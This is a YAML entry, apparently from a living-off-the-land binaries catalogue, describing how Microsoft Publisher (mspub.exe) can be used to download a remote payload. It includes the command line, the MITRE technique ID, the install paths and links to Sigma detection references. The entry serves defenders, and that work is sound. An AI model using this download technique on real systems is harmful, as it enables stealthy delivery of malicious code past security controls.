--- Name: Mspub.exe Description: Microsoft Publisher Author: Nir Chako Created: 2022-08-02 Commands: - Command: mspub.exe https://example.com/payload Description: Downloads payload from remote server Usecase: It will download a remote payload and place it in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE) Category: Download Privileges: User MitreID: T1105 OperatingSystem: Windows 10, Windows 11 Full_Path: - Path: C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\MSPUB.exe - Path: C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\MSPUB.exe - Path: C:\Program Files (x86)\Microsoft Office\Office16\MSPUB.exe - Path: C:\Program Files\Microsoft Office\Office16\MSPUB.exe - Path: C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\MSPUB.exe - Path: C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\MSPUB.exe - Path: C:\Program Files (x86)\Microsoft Office\Office15\MSPUB.exe - Path: C:\Program Files\Microsoft Office\Office15\MSPUB.exe - Path: C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\MSPUB.exe - Path: C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\MSPUB.exe - Path: C:\Program Files (x86)\Microsoft Office\Office14\MSPUB.exe - Path: C:\Program Files\Microsoft Office\Office14\MSPUB.exe Detection: - Sigma: https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_mspub_download.yml - IOC: Suspicious Office application internet/network traffic Acknowledgement: - Person: 'Nir Chako (Pentera)' Handle: '@C_h4ck_0'